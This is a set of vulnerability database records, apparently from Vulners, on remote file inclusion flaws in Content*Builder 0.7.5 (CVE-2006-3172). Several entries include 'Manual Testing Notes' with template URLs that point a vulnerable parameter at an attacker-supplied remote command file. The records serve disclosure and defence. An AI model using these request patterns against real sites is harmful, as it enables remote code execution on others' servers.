{"lastseen": "2017-04-28T13:20:22", "references": [], "edition": 1, "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/shoutbox/shoutBox.php script not properly sanitizing user input supplied to the 'path[cb]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/shoutbox/shoutBox.php script not properly sanitizing user input supplied to the 'path[cb]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/shoutbox/shoutBox.php?path[cb]=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "reporter": "Federico Fazzi(federico@autistici.org)", "published": "2006-06-11T16:34:06", "type": "osvdb", "title": "Content*Builder shoutbox/shoutBox.php path[cb] Variable Remote File Inclusion", "enchantments": {"score": {"value": 7.0, "vector": "NONE", "modified": "2017-04-28T13:20:22", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2006-3172"]}, {"type": "osvdb", "idList": ["OSVDB:26348", "OSVDB:26362", "OSVDB:26358", "OSVDB:26360", "OSVDB:26355", "OSVDB:26345", "OSVDB:26350", "OSVDB:26357", "OSVDB:26346", "OSVDB:26352"]}, {"type": "exploitdb", "idList": ["EDB-ID:1903"]}], "modified": "2017-04-28T13:20:22", "rev": 2}, "vulnersScore": 7.0}, "bulletinFamily": "software", "affectedSoftware": [{"operator": "eq", "version": "0.7.5", "name": "Content*Builder"}], "cvelist": ["CVE-2006-3172"], "modified": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26353", "viewCount": 2, "id": "OSVDB:26353", "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/", "score": 7.5}}

{"cve": [{"lastseen": "2020-10-03T11:48:16", "description": "Multiple PHP remote file inclusion vulnerabilities in Content*Builder 0.7.5 allow remote attackers to execute arbitrary PHP code via a URL with a trailing slash (/) character in the (1) lang_path parameter to (a) cms/plugins/col_man/column.inc.php, (b) cms/plugins/poll/poll.inc.php, (c) cms/plugins/user_managment/usrPortrait.inc.php, (d) cms/plugins/user_managment/user.inc.php, (e) cms/plugins/media_manager/media.inc.php, (f) cms/plugins/events/permanent.eventMonth.inc.php, (g) cms/plugins/events/events.inc.php, and (h) cms/plugins/newsletter2/newsletter.inc.php; (2) path[cb] parameter to (i) modules/guestbook/guestbook.inc.php, (j) modules/shoutbox/shoutBox.php, and (k) modules/sitemap/sitemap.inc.php; and the (3) rel parameter to (l) modules/download/overview.inc.php, (m) modules/download/detailView.inc.php, (n) modules/article/fullarticle.inc.php, (o) modules/article/comments.inc.php, (p) modules/article2/overview.inc.php, (q) modules/article2/fullarticle.inc.php, (r) modules/article2/comments.inc.php, (s) modules/headline/headlineBox.php, and (t) modules/headline/showHeadline.inc.php.", "edition": 3, "cvss3": {}, "published": "2006-06-23T00:02:00", "title": "CVE-2006-3172", "type": "cve", "cwe": ["CWE-94"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": true, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-3172"], "modified": "2017-07-20T01:32:00", "cpe": ["cpe:/a:content\\*builder:content\\*builder:0.7.5"], "id": "CVE-2006-3172", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3172", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:content\\*builder:content\\*builder:0.7.5:*:*:*:*:*:*:*"]}], "osvdb": [{"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-3172"], "edition": 1, "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article/comments.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article/comments.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/article/comments.inc.php?rel=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-12T16:34:06", "published": "2006-06-12T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26358", "id": "OSVDB:26358", "type": "osvdb", "title": "Content*Builder article/comments.inc.php rel Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "cvelist": ["CVE-2006-3172"], "edition": 1, "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/events/events.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/events/events.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/cms/plugins/events/events.inc.php?lang_path=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26350", "id": "OSVDB:26350", "type": "osvdb", "title": "Content*Builder events/events.inc.php lang_path Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "cvelist": ["CVE-2006-3172"], "edition": 1, "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/events/permanent.eventMonth.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/events/permanent.eventMonth.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/cms/plugins/events/permanent.eventMonth.inc.php?lang_path=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26348", "id": "OSVDB:26348", "type": "osvdb", "title": "Content*Builder events/permanent.eventMonth.inc.php lang_path Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-3172"], "edition": 1, "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article2/fullarticle.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article2/fullarticle.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/article2/fullarticle.inc.php?rel=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26360", "id": "OSVDB:26360", "type": "osvdb", "title": "Content*Builder article2/fullarticle.inc.php rel Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "cvelist": ["CVE-2006-3172"], "edition": 1, "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/guestbook/guestbook.inc.php script not properly sanitizing user input supplied to the 'path[cb]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/guestbook/guestbook.inc.php script not properly sanitizing user input supplied to the 'path[cb]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/guestbook/guestbook.inc.php?path[cb]=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26352", "id": "OSVDB:26352", "type": "osvdb", "title": "Content*Builder guestbook/guestbook.inc.php path[cb] Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "cvelist": ["CVE-2006-3172"], "edition": 1, "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/download/detailView.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/download/detailView.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/download/detailView.inc.php?rel=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26356", "id": "OSVDB:26356", "type": "osvdb", "title": "Content*Builder download/detailView.inc.php rel Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "cvelist": ["CVE-2006-3172"], "edition": 1, "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/user_managment/usrPortrait.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/user_managment/usrPortrait.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/cms/plugins/user_managment/usrPortrait.inc.php?lang_path=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26346", "id": "OSVDB:26346", "type": "osvdb", "title": "Content*Builder user_managment/usrPortrait.inc.php lang_path Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "cvelist": ["CVE-2006-3172"], "edition": 1, "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/download/overview.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/download/overview.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/download/overview.inc.php?rel=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 